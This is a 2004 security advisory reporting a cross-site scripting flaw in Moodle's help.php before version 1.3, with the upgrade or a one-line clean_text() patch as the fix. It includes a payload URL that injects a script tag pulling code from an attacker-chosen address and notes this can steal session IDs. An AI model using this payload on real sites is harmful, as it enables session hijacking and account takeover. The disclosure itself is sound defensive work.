Cross Site Scripting in Moodle < 1.3

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2004-04-30

[01] Author:

~~~~~~~~~~~~

author: Bartek Nowotarski (silence)

location: Trzebinia, Poland

mail: silence10(at)wp(dot)pl

site: silence(dot)0(dot)pl

[02] Discussion:

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"Moodle is a course management system (CMS) - a software package designed to

help educators create quality online courses. Such e-learning systems are

sometimes also called Learning Management Systems (LMS) or Virtual Learning

Environments (VLE)." www.moodle.org

It has over 1000 *register* sites in 75 countries.

Project home site: http://www.moodle.org

[03] Bug:

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It is possible to execute any HTML/javascript command in help.php file by

requesting:

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http://{some_moodle_site}/help.php?text=<script

src={url_to_script_to_execute}></script>

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A code in {url_to_script_to_execute} will be executed.

Bug enables to get users' session id's by writing a special script and use it

to login as any user.

[04] Solution:

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a) This bug have been fixed in version 1.3.

b) For version 1.2 replace line 75:

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75| echo "$text";

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with

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75| echo clean_text($text);

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[05] Credits:

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Vulnerability discovered by Bartek Nowotarski (silence). All rights reserved.

[06] Disclaimer:

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This document and all the information it contains are provided "as is",

for educational purposes only, without warranty of any kind, whether

express or implied.

--EOF--

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